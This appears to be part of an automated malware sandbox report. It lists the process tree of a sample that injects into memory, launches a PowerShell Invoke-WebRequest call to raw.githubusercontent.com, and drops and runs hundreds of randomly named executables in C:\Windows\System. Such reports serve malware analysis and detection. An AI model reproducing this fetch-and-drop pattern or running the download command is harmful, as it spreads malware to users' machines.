- Suspicious use of WriteProcessMemory
PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Windows\System\FsnCVTF.exe
  C:\Windows\System\FsnCVTF.exe
  2⤵
  - Executes dropped EXE
  PID:2348
- C:\Windows\System\SRAPGRc.exe
  C:\Windows\System\SRAPGRc.exe
  2⤵
  - Executes dropped EXE
  PID:1128
- C:\Windows\System\WYOODpb.exe
  C:\Windows\System\WYOODpb.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\QwnqsQE.exe
  C:\Windows\System\QwnqsQE.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\NwtyMwO.exe
  C:\Windows\System\NwtyMwO.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- C:\Windows\System\bKDJJpo.exe
  C:\Windows\System\bKDJJpo.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Windows\System\YNaJuIB.exe
  C:\Windows\System\YNaJuIB.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\GOflsXN.exe
  C:\Windows\System\GOflsXN.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\ltWLPct.exe
  C:\Windows\System\ltWLPct.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\CUsEICd.exe
  C:\Windows\System\CUsEICd.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\RjYbNQY.exe
  C:\Windows\System\RjYbNQY.exe
  2⤵
  - Executes dropped EXE
  PID:2976
- C:\Windows\System\xRpPalf.exe
  C:\Windows\System\xRpPalf.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\vCoOhRu.exe
  C:\Windows\System\vCoOhRu.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\qlreKmj.exe
  C:\Windows\System\qlreKmj.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\qfUQvwl.exe
  C:\Windows\System\qfUQvwl.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\BCBoxVC.exe
  C:\Windows\System\BCBoxVC.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\bVlSTVb.exe
  C:\Windows\System\bVlSTVb.exe
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Windows\System\WTPnYDi.exe
  C:\Windows\System\WTPnYDi.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\wCGcdaR.exe
  C:\Windows\System\wCGcdaR.exe
  2⤵
  - Executes dropped EXE
  PID:1836
- C:\Windows\System\bfqSfLt.exe
  C:\Windows\System\bfqSfLt.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\dfyVUtL.exe
  C:\Windows\System\dfyVUtL.exe
  2⤵
  - Executes dropped EXE
  PID:1956
- C:\Windows\System\gjvXOwK.exe
  C:\Windows\System\gjvXOwK.exe
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Windows\System\JOWyniJ.exe
  C:\Windows\System\JOWyniJ.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\rytfPgu.exe
  C:\Windows\System\rytfPgu.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\dNkbFPt.exe
  C:\Windows\System\dNkbFPt.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\BkZKQGc.exe
  C:\Windows\System\BkZKQGc.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\eafncJt.exe
  C:\Windows\System\eafncJt.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\YEAGdpT.exe
  C:\Windows\System\YEAGdpT.exe
  2⤵
  - Executes dropped EXE
  PID:816
- C:\Windows\System\VnqnzTi.exe
  C:\Windows\System\VnqnzTi.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Windows\System\NUJOfGN.exe
  C:\Windows\System\NUJOfGN.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\CqXOGbj.exe
  C:\Windows\System\CqXOGbj.exe
  2⤵
  - Executes dropped EXE
  PID:1088
- C:\Windows\System\SfmYYxv.exe
  C:\Windows\System\SfmYYxv.exe
  2⤵
  - Executes dropped EXE
  PID:2252
- C:\Windows\System\mrrHwko.exe
  C:\Windows\System\mrrHwko.exe
  2⤵
  - Executes dropped EXE
  PID:672
- C:\Windows\System\lsYmoBL.exe
  C:\Windows\System\lsYmoBL.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\XVPrtGy.exe
  C:\Windows\System\XVPrtGy.exe
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Windows\System\TOompWy.exe
  C:\Windows\System\TOompWy.exe
  2⤵
  - Executes dropped EXE
  PID:936
- C:\Windows\System\ujwzQyx.exe
  C:\Windows\System\ujwzQyx.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\ixiBtwR.exe
  C:\Windows\System\ixiBtwR.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\FzMBVIa.exe
  C:\Windows\System\FzMBVIa.exe
  2⤵
  - Executes dropped EXE
  PID:908
- C:\Windows\System\guEdxzA.exe
  C:\Windows\System\guEdxzA.exe
  2⤵
  - Executes dropped EXE
  PID:400
- C:\Windows\System\IHSoPuI.exe
  C:\Windows\System\IHSoPuI.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\mkzeAMO.exe
  C:\Windows\System\mkzeAMO.exe
  2⤵
  - Executes dropped EXE
  PID:1944
- C:\Windows\System\dfBYIyV.exe
  C:\Windows\System\dfBYIyV.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\zlibyTB.exe
  C:\Windows\System\zlibyTB.exe
  2⤵
  - Executes dropped EXE
  PID:1516
- C:\Windows\System\zcTdZrE.exe
  C:\Windows\System\zcTdZrE.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\Windows\System\JOzqxtW.exe
  C:\Windows\System\JOzqxtW.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\mZINJbo.exe
  C:\Windows\System\mZINJbo.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\zWLduuZ.exe
  C:\Windows\System\zWLduuZ.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\PQuLrCg.exe
  C:\Windows\System\PQuLrCg.exe
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Windows\System\WbFMJFP.exe
  C:\Windows\System\WbFMJFP.exe
  2⤵
  - Executes dropped EXE
  PID:1568
- C:\Windows\System\HIXhcWW.exe
  C:\Windows\System\HIXhcWW.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\dNaXuTi.exe
  C:\Windows\System\dNaXuTi.exe
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Windows\System\ZPIgNxF.exe
  C:\Windows\System\ZPIgNxF.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\COUXnjo.exe
  C:\Windows\System\COUXnjo.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\LssuOPu.exe
  C:\Windows\System\LssuOPu.exe
  2⤵
  - Executes dropped EXE
  PID:2692
- C:\Windows\System\POchDRr.exe
  C:\Windows\System\POchDRr.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\LhCWiEO.exe
  C:\Windows\System\LhCWiEO.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\vsTtQhI.exe
  C:\Windows\System\vsTtQhI.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\fmvJucR.exe
  C:\Windows\System\fmvJucR.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\ZmjkqbQ.exe
  C:\Windows\System\ZmjkqbQ.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\mqzOTWF.exe
  C:\Windows\System\mqzOTWF.exe
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Windows\System\VCiqZKk.exe
  C:\Windows\System\VCiqZKk.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- C:\Windows\System\OftbdaE.exe
  C:\Windows\System\OftbdaE.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\njUfbMl.exe
  C:\Windows\System\njUfbMl.exe
  2⤵
  - Executes dropped EXE
  PID:1776
- C:\Windows\System\qquZvgP.exe
  C:\Windows\System\qquZvgP.exe
  2⤵
  PID:1788
- C:\Windows\System\zhYbmfP.exe
  C:\Windows\System\zhYbmfP.exe
  2⤵
  PID:3004
- C:\Windows\System\EICnXVW.exe
  C:\Windows\System\EICnXVW.exe
  2⤵
  PID:2864
- C:\Windows\System\MEdnFgi.exe
  C:\Windows\System\MEdnFgi.exe
  2⤵
  PID:2060
- C:\Windows\System\dcOyzAo.exe
  C:\Windows\System\dcOyzAo.exe
  2⤵
  PID:2000
- C:\Windows\System\IoxChNi.exe
  C:\Windows\System\IoxChNi.exe
  2⤵
  PID:2028
- C:\Windows\System\PPFbaxa.exe
  C:\Windows\System\PPFbaxa.exe
  2⤵
  PID:2008
- C:\Windows\System\bBIWjGb.exe
  C:\Windows\System\bBIWjGb.exe
  2⤵
  PID:2620
- C:\Windows\System\bWuzDLU.exe
  C:\Windows\System\bWuzDLU.exe
  2⤵
  PID:2716
- C:\Windows\System\CQlwNVN.exe
  C:\Windows\System\CQlwNVN.exe
  2⤵
  PID:2088
- C:\Windows\System\TWijAEK.exe
  C:\Windows\System\TWijAEK.exe
  2⤵
  PID:1304
- C:\Windows\System\LrevzQA.exe
  C:\Windows\System\LrevzQA.exe
  2⤵
  PID:2764
- C:\Windows\System\uYmoxhz.exe
  C:\Windows\System\uYmoxhz.exe
  2⤵
  PID:1808
- C:\Windows\System\ChxkgAq.exe
  C:\Windows\System\ChxkgAq.exe
  2⤵
  PID:2300
- C:\Windows\System\YVKgMia.exe
  C:\Windows\System\YVKgMia.exe
  2⤵
  PID:1768
- C:\Windows\System\xxjmIup.exe
  C:\Windows\System\xxjmIup.exe
  2⤵
  PID:2016
- C:\Windows\System\TUFWVhH.exe
  C:\Windows\System\TUFWVhH.exe
  2⤵
  PID:760
- C:\Windows\System\znYfdrD.exe
  C:\Windows\System\znYfdrD.exe
  2⤵
  PID:1628
- C:\Windows\System\rflKYSP.exe
  C:\Windows\System\rflKYSP.exe
  2⤵
  PID:920
- C:\Windows\System\MhAJmsS.exe
  C:\Windows\System\MhAJmsS.exe
  2⤵
  PID:1724
- C:\Windows\System\ICLMnGx.exe
  C:\Windows\System\ICLMnGx.exe
  2⤵
  PID:2184
- C:\Windows\System\ozSeyzp.exe
  C:\Windows\System\ozSeyzp.exe
  2⤵
  PID:744
- C:\Windows\System\BnXjFTd.exe
  C:\Windows\System\BnXjFTd.exe
  2⤵
  PID:2352
- C:\Windows\System\ZNrTHsm.exe
  C:\Windows\System\ZNrTHsm.exe
  2⤵
  PID:884
- C:\Windows\System\boutaXH.exe
  C:\Windows\System\boutaXH.exe
  2⤵
  PID:1620
- C:\Windows\System\ulEfXck.exe
  C:\Windows\System\ulEfXck.exe
  2⤵
  PID:1704
- C:\Windows\System\NRdgEQS.exe
  C:\Windows\System\NRdgEQS.exe
  2⤵
  PID:2732
- C:\Windows\System\WkbYfBe.exe
  C:\Windows\System\WkbYfBe.exe
  2⤵
  PID:2532
- C:\Windows\System\MRixclI.exe
  C:\Windows\System\MRixclI.exe
  2⤵
  PID:2208
- C:\Windows\System\eqdJmgm.exe
  C:\Windows\System\eqdJmgm.exe
  2⤵
  PID:2504
- C:\Windows\System\UpLMfYF.exe
  C:\Windows\System\UpLMfYF.exe
  2⤵
  PID:2260
- C:\Windows\System\pJUZArz.exe
  C:\Windows\System\pJUZArz.exe
  2⤵
  PID:2792
- C:\Windows\System\wCGPcua.exe
  C:\Windows\System\wCGPcua.exe
  2⤵
  PID:2148
- C:\Windows\System\sqwHUmr.exe
  C:\Windows\System\sqwHUmr.exe
  2⤵
  PID:1696
- C:\Windows\System\XtguNsX.exe
  C:\Windows\System\XtguNsX.exe
  2⤵
  PID:1044
- C:\Windows\System\wumTIDR.exe
  C:\Windows\System\wumTIDR.exe
  2⤵
  PID:2728
- C:\Windows\System\SjLfEeu.exe
  C:\Windows\System\SjLfEeu.exe
  2⤵
  PID:812
- C:\Windows\System\EMEcPdk.exe
  C:\Windows\System\EMEcPdk.exe
  2⤵
  PID:2948
- C:\Windows\System\vPhBVXe.exe
  C:\Windows\System\vPhBVXe.exe
  2⤵
  PID:2564
- C:\Windows\System\MRevLHI.exe
  C:\Windows\System\MRevLHI.exe
  2⤵
  PID:1916
- C:\Windows\System\RaAyIoS.exe
  C:\Windows\System\RaAyIoS.exe
  2⤵
  PID:992
- C:\Windows\System\aLLuDvG.exe
  C:\Windows\System\aLLuDvG.exe
  2⤵
  PID:2924
- C:\Windows\System\nZnzUHj.exe
  C:\Windows\System\nZnzUHj.exe
  2⤵
  PID:1852
- C:\Windows\System\JMZmzpB.exe
  C:\Windows\System\JMZmzpB.exe
  2⤵
  PID:1800
- C:\Windows\System\wnOZNcG.exe
  C:\Windows\System\wnOZNcG.exe
  2⤵
  PID:1872
- C:\Windows\System\Qwrefmf.exe
  C:\Windows\System\Qwrefmf.exe
  2⤵
  PID:2204
- C:\Windows\System\ysaKIiK.exe
  C:\Windows\System\ysaKIiK.exe
  2⤵
  PID:2192
- C:\Windows\System\vZwmnXD.exe
  C:\Windows\System\vZwmnXD.exe
  2⤵
  PID:764
- C:\Windows\System\oDmwHXo.exe
  C:\Windows\System\oDmwHXo.exe
  2⤵
  PID:1588
- C:\Windows\System\tUiGOQK.exe
  C:\Windows\System\tUiGOQK.exe
  2⤵
  PID:2708
- C:\Windows\System\hqXJuQD.exe
  C:\Windows\System\hqXJuQD.exe
  2⤵
  PID:2572
- C:\Windows\System\wwnLcJY.exe
  C:\Windows\System\wwnLcJY.exe
  2⤵
  PID:2316
- C:\Windows\System\kFXLhqw.exe
  C:\Windows\System\kFXLhqw.exe
  2⤵
  PID:2784
- C:\Windows\System\jSizSgR.exe
  C:\Windows\System\jSizSgR.exe
  2⤵
  PID:3088
- C:\Windows\System\qKzFXTh.exe
  C:\Windows\System\qKzFXTh.exe
  2⤵
  PID:3108
- C:\Windows\System\HCTESQJ.exe
  C:\Windows\System\HCTESQJ.exe
  2⤵
  PID:3128
- C:\Windows\System\UqeHksr.exe
  C:\Windows\System\UqeHksr.exe
  2⤵
  PID:3148
- C:\Windows\System\AQNSIPb.exe
  C:\Windows\System\AQNSIPb.exe
  2⤵
  PID:3168
- C:\Windows\System\bgjaMza.exe
  C:\Windows\System\bgjaMza.exe
  2⤵
  PID:3192
- C:\Windows\System\XjENhmu.exe
  C:\Windows\System\XjENhmu.exe
  2⤵
  PID:3212
- C:\Windows\System\YBjRzWJ.exe
  C:\Windows\System\YBjRzWJ.exe
  2⤵
  PID:3232
- C:\Windows\System\lWrQwIA.exe
  C:\Windows\System\lWrQwIA.exe
  2⤵
  PID:3252
- C:\Windows\System\lnwZsFX.exe
  C:\Windows\System\lnwZsFX.exe
  2⤵
  PID:3272
- C:\Windows\System\mhNgnmt.exe
  C:\Windows\System\mhNgnmt.exe
  2⤵
  PID:3292
- C:\Windows\System\dBNFlmq.exe
  C:\Windows\System\dBNFlmq.exe
  2⤵
  PID:3312
- C:\Windows\System\xAZrddJ.exe
  C:\Windows\System\xAZrddJ.exe
  2⤵
  PID:3332
- C:\Windows\System\iSXLCtF.exe
  C:\Windows\System\iSXLCtF.exe
  2⤵
  PID:3352
- C:\Windows\System\PDvcvah.exe
  C:\Windows\System\PDvcvah.exe
  2⤵
  PID:3372
- C:\Windows\System\evDJwAJ.exe
  C:\Windows\System\evDJwAJ.exe
  2⤵
  PID:3392
- C:\Windows\System\vDChBHK.exe
  C:\Windows\System\vDChBHK.exe
  2⤵
  PID:3412
- C:\Windows\System\lqYHjPl.exe
  C:\Windows\System\lqYHjPl.exe
  2⤵
  PID:3432
- C:\Windows\System\xeWWJEg.exe
  C:\Windows\System\xeWWJEg.exe
  2⤵
  PID:3452
- C:\Windows\System\HPKzEpV.exe
  C:\Windows\System\HPKzEpV.exe
  2⤵
  PID:3472
- C:\Windows\System\XGfXJcd.exe
  C:\Windows\System\XGfXJcd.exe
  2⤵
  PID:3492
- C:\Windows\System\NijeitY.exe
  C:\Windows\System\NijeitY.exe
  2⤵
  PID:3512
- C:\Windows\System\sQTgaFG.exe
  C:\Windows\System\sQTgaFG.exe
  2⤵
  PID:3532
- C:\Windows\System\ylCxAMO.exe
  C:\Windows\System\ylCxAMO.exe
  2⤵
  PID:3552
- C:\Windows\System\FFaueYu.exe
  C:\Windows\System\FFaueYu.exe
  2⤵
  PID:3572
- C:\Windows\System\EwVCqmw.exe
  C:\Windows\System\EwVCqmw.exe
  2⤵
  PID:3592
- C:\Windows\System\dfinPzj.exe
  C:\Windows\System\dfinPzj.exe
  2⤵
  PID:3612
- C:\Windows\System\mohsTWP.exe
  C:\Windows\System\mohsTWP.exe
  2⤵
  PID:3636
- C:\Windows\System\lmPGYHg.exe
  C:\Windows\System\lmPGYHg.exe
  2⤵
  PID:3656
- C:\Windows\System\MCGIqaZ.exe
  C:\Windows\System\MCGIqaZ.exe
  2⤵
  PID:3676
- C:\Windows\System\lYJSqrt.exe
  C:\Windows\System\lYJSqrt.exe
  2⤵
  PID:3696
- C:\Windows\System\MQRdUMc.exe
  C:\Windows\System\MQRdUMc.exe
  2⤵
  PID:3712
- C:\Windows\System\fOYGvFf.exe
  C:\Windows\System\fOYGvFf.exe
  2⤵
  PID:3732
- C:\Windows\System\kHAYuiW.exe
  C:\Windows\System\kHAYuiW.exe
  2⤵
  PID:3748
- C:\Windows\System\jVzrxZp.exe
  C:\Windows\System\jVzrxZp.exe
  2⤵
  PID:3772
- C:\Windows\System\TXkUICa.exe
  C:\Windows\System\TXkUICa.exe
  2⤵
  PID:3788
- C:\Windows\System\oAxesWz.exe
  C:\Windows\System\oAxesWz.exe
  2⤵
  PID:3812
- C:\Windows\System\IXHPnUn.exe
  C:\Windows\System\IXHPnUn.exe
  2⤵
  PID:3832
- C:\Windows\System\wHhjrGD.exe
  C:\Windows\System\wHhjrGD.exe
  2⤵
  PID:3856
- C:\Windows\System\EmLSwaF.exe
  C:\Windows\System\EmLSwaF.exe
  2⤵
  PID:3872
- C:\Windows\System\BUhSBZV.exe
  C:\Windows\System\BUhSBZV.exe
  2⤵
  PID:3896
- C:\Windows\System\YVaPQAx.exe
  C:\Windows\System\YVaPQAx.exe
  2⤵
  PID:3912
- C:\Windows\System\RqIJNyG.exe
  C:\Windows\System\RqIJNyG.exe
  2⤵
  PID:3936
- C:\Windows\System\RUEIoxi.exe
  C:\Windows\System\RUEIoxi.exe
  2⤵
  PID:3952
- C:\Windows\System\sVqNKmw.exe
  C:\Windows\System\sVqNKmw.exe
  2⤵
  PID:3976
- C:\Windows\System\ksqvvib.exe
  C:\Windows\System\ksqvvib.exe
  2⤵
  PID:3996
- C:\Windows\System\khMtMuK.exe
  C:\Windows\System\khMtMuK.exe
  2⤵
  PID:4016
- C:\Windows\System\HRbqvrA.exe
  C:\Windows\System\HRbqvrA.exe
  2⤵
  PID:4036
- C:\Windows\System\siFnWgo.exe
  C:\Windows\System\siFnWgo.exe
  2⤵
  PID:4056
- C:\Windows\System\JAGLSpo.exe
  C:\Windows\System\JAGLSpo.exe
  2⤵
  PID:4076
- C:\Windows\System\AEtFYsv.exe
  C:\Windows\System\AEtFYsv.exe
  2⤵
  PID:2488
- C:\Windows\System\gVKxFNJ.exe
  C:\Windows\System\gVKxFNJ.exe
  2⤵
  PID:1960
- C:\Windows\System\XZtIwGm.exe
  C:\Windows\System\XZtIwGm.exe
  2⤵
  PID:2392
- C:\Windows\System\CxiKyTk.exe
  C:\Windows\System\CxiKyTk.exe
  2⤵
  PID:552
- C:\Windows\System\hAQaGpq.exe
  C:\Windows\System\hAQaGpq.exe
  2⤵
  PID:2304
- C:\Windows\System\HNyErOL.exe
  C:\Windows\System\HNyErOL.exe
  2⤵
  PID:3068
- C:\Windows\System\CKrHaWO.exe
  C:\Windows\System\CKrHaWO.exe
  2⤵
  PID:1660
- C:\Windows\System\ffVYobt.exe
  C:\Windows\System\ffVYobt.exe
  2⤵
  PID:1644
- C:\Windows\System\IqazHUh.exe
  C:\Windows\System\IqazHUh.exe
  2⤵
  PID:688
- C:\Windows\System\xzhOceV.exe
  C:\Windows\System\xzhOceV.exe
  2⤵
  PID:836
- C:\Windows\System\NoqfJik.exe
  C:\Windows\System\NoqfJik.exe
  2⤵
  PID:2908
- C:\Windows\System\gPJETCf.exe
  C:\Windows\System\gPJETCf.exe
  2⤵
  PID:1244
- C:\Windows\System\ivQgqGE.exe
  C:\Windows\System\ivQgqGE.exe
  2⤵
  PID:2232
- C:\Windows\System\kqoUjPu.exe
  C:\Windows\System\kqoUjPu.exe
  2⤵
  PID:3116
- C:\Windows\System\zhlcBSH.exe
  C:\Windows\System\zhlcBSH.exe
  2⤵
  PID:3140
- C:\Windows\System\AViJuhF.exe
  C:\Windows\System\AViJuhF.exe
  2⤵
  PID:3164
- C:\Windows\System\bbkhYfN.exe
  C:\Windows\System\bbkhYfN.exe
  2⤵
  PID:3180
- C:\Windows\System\wbdUSxp.exe
  C:\Windows\System\wbdUSxp.exe
  2⤵
  PID:3228
- C:\Windows\System\edRdfBC.exe
  C:\Windows\System\edRdfBC.exe
  2⤵
  PID:3280
- C:\Windows\System\PcBNYyG.exe
  C:\Windows\System\PcBNYyG.exe
  2⤵
  PID:3264
- C:\Windows\System\shUbdWq.exe
  C:\Windows\System\shUbdWq.exe
  2⤵
  PID:3308
- C:\Windows\System\KPhUuyp.exe
  C:\Windows\System\KPhUuyp.exe
  2⤵
  PID:3344
- C:\Windows\System\TiFXQoJ.exe
  C:\Windows\System\TiFXQoJ.exe
  2⤵
  PID:3388
- C:\Windows\System\qzfNUNA.exe
  C:\Windows\System\qzfNUNA.exe
  2⤵
  PID:3444
- C:\Windows\System\GoznKZI.exe
  C:\Windows\System\GoznKZI.exe
  2⤵
  PID:3464
- C:\Windows\System\DkLCjTz.exe
  C:\Windows\System\DkLCjTz.exe
  2⤵
  PID:3528
- C:\Windows\System\LdEpDUH.exe
  C:\Windows\System\LdEpDUH.exe
  2⤵
  PID:3568
- C:\Windows\System\lFeKfVL.exe
  C:\Windows\System\lFeKfVL.exe
  2⤵
  PID:3608
- C:\Windows\System\AvVmxyC.exe
  C:\Windows\System\AvVmxyC.exe
  2⤵
  PID:3584
- C:\Windows\System\nUbgMtq.exe
  C:\Windows\System\nUbgMtq.exe
  2⤵
  PID:3652
- C:\Windows\System\oOUCqXz.exe
  C:\Windows\System\oOUCqXz.exe
  2⤵
  PID:3672
- C:\Windows\System\SBHDYsG.exe
  C:\Windows\System\SBHDYsG.exe
  2⤵
  PID:3724
- C:\Windows\System\MZixRzM.exe
  C:\Windows\System\MZixRzM.exe
  2⤵
  PID:3704
- C:\Windows\System\dUmxihf.exe
  C:\Windows\System\dUmxihf.exe
  2⤵
  PID:3808
- C:\Windows\System\YSclsjx.exe
  C:\Windows\System\YSclsjx.exe
  2⤵
  PID:3840
- C:\Windows\System\ERtAWxd.exe
  C:\Windows\System\ERtAWxd.exe
  2⤵
  PID:3188
- C:\Windows\System\HeMKAEO.exe
  C:\Windows\System\HeMKAEO.exe
  2⤵
  PID:3884
- C:\Windows\System\aoPBOQC.exe
  C:\Windows\System\aoPBOQC.exe
  2⤵
  PID:3920
- C:\Windows\System\KBoOljw.exe
  C:\Windows\System\KBoOljw.exe
  2⤵
  PID:3932
- C:\Windows\System\nDqJwso.exe
  C:\Windows\System\nDqJwso.exe
  2⤵
  PID:3944
- C:\Windows\System\yIXXTAR.exe
  C:\Windows\System\yIXXTAR.exe
  2⤵
  PID:4004
- C:\Windows\System\cUsamfG.exe
  C:\Windows\System\cUsamfG.exe
  2⤵
  PID:4044
- C:\Windows\System\PyzonEg.exe
  C:\Windows\System\PyzonEg.exe
  2⤵
  PID:4072
- C:\Windows\System\NMVRqer.exe
  C:\Windows\System\NMVRqer.exe
  2⤵
  PID:2240
- C:\Windows\System\XHRYDFm.exe
  C:\Windows\System\XHRYDFm.exe
  2⤵
  PID:2592
- C:\Windows\System\IPNafBa.exe
  C:\Windows\System\IPNafBa.exe
  2⤵
  PID:1052
- C:\Windows\System\EmzzgkN.exe
  C:\Windows\System\EmzzgkN.exe
  2⤵
  PID:2248
- C:\Windows\System\FEpfxDJ.exe
  C:\Windows\System\FEpfxDJ.exe
  2⤵
  PID:1032
- C:\Windows\System\CERqCmD.exe
  C:\Windows\System\CERqCmD.exe
  2⤵
  PID:1992
- C:\Windows\System\CKmMTOX.exe
  C:\Windows\System\CKmMTOX.exe
  2⤵
  PID:1932
- C:\Windows\System\CFMCBAF.exe
  C:\Windows\System\CFMCBAF.exe
  2⤵
  PID:2972
- C:\Windows\System\FCQqBbL.exe
  C:\Windows\System\FCQqBbL.exe
  2⤵
  PID:3100
- C:\Windows\System\kjAUbqm.exe
  C:\Windows\System\kjAUbqm.exe
  2⤵
  PID:3200
- C:\Windows\System\pISqWUb.exe
  C:\Windows\System\pISqWUb.exe
  2⤵
  PID:3240
- C:\Windows\System\rmIQhsp.exe
  C:\Windows\System\rmIQhsp.exe
  2⤵
  PID:3328
- C:\Windows\System\DJdDTFK.exe
  C:\Windows\System\DJdDTFK.exe
  2⤵
  PID:3368
- C:\Windows\System\xhmsycB.exe
  C:\Windows\System\xhmsycB.exe
  2⤵
  PID:3380
- C:\Windows\System\sXuthvU.exe
  C:\Windows\System\sXuthvU.exe
  2⤵
  PID:3448
- C:\Windows\System\VzKBvvI.exe
  C:\Windows\System\VzKBvvI.exe
  2⤵
  PID:3520
- C:\Windows\System\ldCAstD.exe
  C:\Windows\System\ldCAstD.exe
  2⤵
  PID:3580
- C:\Windows\System\GtyEtYE.exe
  C:\Windows\System\GtyEtYE.exe
  2⤵
  PID:3624
- C:\Windows\System\htWbgrN.exe
  C:\Windows\System\htWbgrN.exe
  2⤵
  PID:3720
- C:\Windows\System\nFCEmhG.exe
  C:\Windows\System\nFCEmhG.exe
  2⤵
  PID:3764
- C:\Windows\System\ZknKokD.exe
  C:\Windows\System\ZknKokD.exe
  2⤵
  PID:3804
- C:\Windows\System\hcWivtx.exe
  C:\Windows\System\hcWivtx.exe
  2⤵
  PID:3848
- C:\Windows\System\iAzqjlP.exe
  C:\Windows\System\iAzqjlP.exe
  2⤵
  PID:3864
- C:\Windows\System\QMkGUei.exe
  C:\Windows\System\QMkGUei.exe
  2⤵
  PID:3992
- C:\Windows\System\VXfYIXh.exe
  C:\Windows\System\VXfYIXh.exe
  2⤵
  PID:4012
- C:\Windows\System\HoKilst.exe
  C:\Windows\System\HoKilst.exe
  2⤵
  PID:4064
- C:\Windows\System\piJCgIF.exe
  C:\Windows\System\piJCgIF.exe
  2⤵
  PID:1744
- C:\Windows\System\ikGFNDP.exe
  C:\Windows\System\ikGFNDP.exe
  2⤵
  PID:3012
- C:\Windows\System\MOKAVay.exe
  C:\Windows\System\MOKAVay.exe
  2⤵
  PID:448
- C:\Windows\System\NBmfxOT.exe
  C:\Windows\System\NBmfxOT.exe
  2⤵
  PID:1456
- C:\Windows\System\nLptpLE.exe
  C:\Windows\System\nLptpLE.exe
  2⤵
  PID:3084
- C:\Windows\System\yJrzSFW.exe
  C:\Windows\System\yJrzSFW.exe
  2⤵
  PID:3184
- C:\Windows\System\TNoyOpv.exe
  C:\Windows\System\TNoyOpv.exe
  2⤵
  PID:3404
- C:\Windows\System\SmQeZhS.exe
  C:\Windows\System\SmQeZhS.exe
  2⤵
  PID:3324
- C:\Windows\System\FIvpUJE.exe
  C:\Windows\System\FIvpUJE.exe
  2⤵
  PID:3424
- C:\Windows\System\FVueYni.exe
  C:\Windows\System\FVueYni.exe
  2⤵
  PID:3504
- C:\Windows\System\NwhOgFr.exe
  C:\Windows\System\NwhOgFr.exe
  2⤵
  PID:3548
- C:\Windows\System\gHeZYmG.exe
  C:\Windows\System\gHeZYmG.exe
  2⤵
  PID:3688
- C:\Windows\System\CUZztxM.exe
  C:\Windows\System\CUZztxM.exe
  2⤵
  PID:3796
- C:\Windows\System\NFLQpvh.exe
  C:\Windows\System\NFLQpvh.exe
  2⤵
  PID:4108
- C:\Windows\System\nrAMDiW.exe
  C:\Windows\System\nrAMDiW.exe
  2⤵
  PID:4128
- C:\Windows\System\vLoapxP.exe
  C:\Windows\System\vLoapxP.exe
  2⤵
  PID:4148
- C:\Windows\System\ZeRmQxg.exe
  C:\Windows\System\ZeRmQxg.exe
  2⤵
  PID:4168
- C:\Windows\System\AOqsVOg.exe
  C:\Windows\System\AOqsVOg.exe
  2⤵
  PID:4188
- C:\Windows\System\afGNNsi.exe
  C:\Windows\System\afGNNsi.exe
  2⤵
  PID:4208
- C:\Windows\System\SGoWwXS.exe
  C:\Windows\System\SGoWwXS.exe
  2⤵
  PID:4228
- C:\Windows\System\YKVJzJJ.exe
  C:\Windows\System\YKVJzJJ.exe
  2⤵
  PID:4248
- C:\Windows\System\awBXryZ.exe
  C:\Windows\System\awBXryZ.exe
  2⤵
  PID:4268
- C:\Windows\System\hrzwLxE.exe
  C:\Windows\System\hrzwLxE.exe
  2⤵
  PID:4288
